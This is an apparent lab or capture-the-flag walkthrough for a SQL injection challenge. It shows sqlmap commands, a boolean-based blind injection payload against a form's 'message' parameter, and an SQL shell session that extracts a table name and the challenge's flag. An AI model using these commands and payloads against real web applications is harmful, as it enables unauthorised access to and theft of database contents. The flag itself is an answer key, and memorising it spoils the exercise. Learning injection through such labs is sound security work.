

Challenge 8

<http://192.168.2.11/sqli/sql6/>

[Level: Intermediate]

- Which parameter is vulnerable

Message parameter is vulnerable

- List techniques by which SQL Injection can be exploited

Time delay functions benchmark() or sleep()

You can use TRUE and ERROR technique described here:

<http://www.notsosecure.com/blog/2008/05/26/if-query-data-manipulation/>

- Obtain the table which contains the column flag

```
root@kali:~# sqlmap -url http://192.168.2.11/sqli/sql6/submit.php --data "name=aaa&email=aaa@40aa.com&message=aaa&submit=Submit" -p message --sql-shell
  sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume
no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:54:30

[14:54:30] [INFO] resuming back-end DBMS 'mysql'
[14:54:30] [INFO] testing connection to the target url
[14:54:30] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
--
Place: POST
Parameter: message
  Type: boolean-based blind
  Title: MySQL: boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
  Payload: name=aaa&email=aaa@40aa.com&message=aaa' RLIKE IF(6074*6074,0x4d7953514c,0x28) AND 'FTno'='FTno&submit=Submit
--

[14:54:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5
[14:54:30] [INFO] fetching MySQL shell. To quit type 'q' at 'q' and press ENTER
sql-shell> select table_name from information_schema.columns where column_name = 'flag'
[14:55:08] [INFO] fetching SQL SELECT statement query output: 'select table_name from information_schema.columns where column_name = 'flag''
[14:55:08] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:55:08] [INFO] retrieved: 1
the SQL query provided can return 1 entries. How many entries do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
> a
[14:55:11] [INFO] retrieved: tough
select table_name from information_schema.columns where column_name = 'flag' [1]:
[*] tough
sql-shell>
```

- Obtain the flag

```
sql-shell> select flag from tough
[14:55:52] [INFO] fetching SQL SELECT statement query output: 'select flag from tough'
[14:55:52] [INFO] resumed: 1
the SQL query provided can return 1 entries. How many entries do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
> a
[14:55:54] [INFO] resumed: You seem to be getting better.. flag is 321920
select flag from tough [1]:
[*] You seem to be getting better.. flag is 321920
sql-shell>
```

Further reading:

http://www.slideshare.net/matt_presson/timebased-blind-sql-injection

http://hakipedia.com/index.php/SQL_Injection#MySQL_BENCHMARK

<http://www.ntsousecure.com/blog/2008/05/26/if-query-data-manipulation/>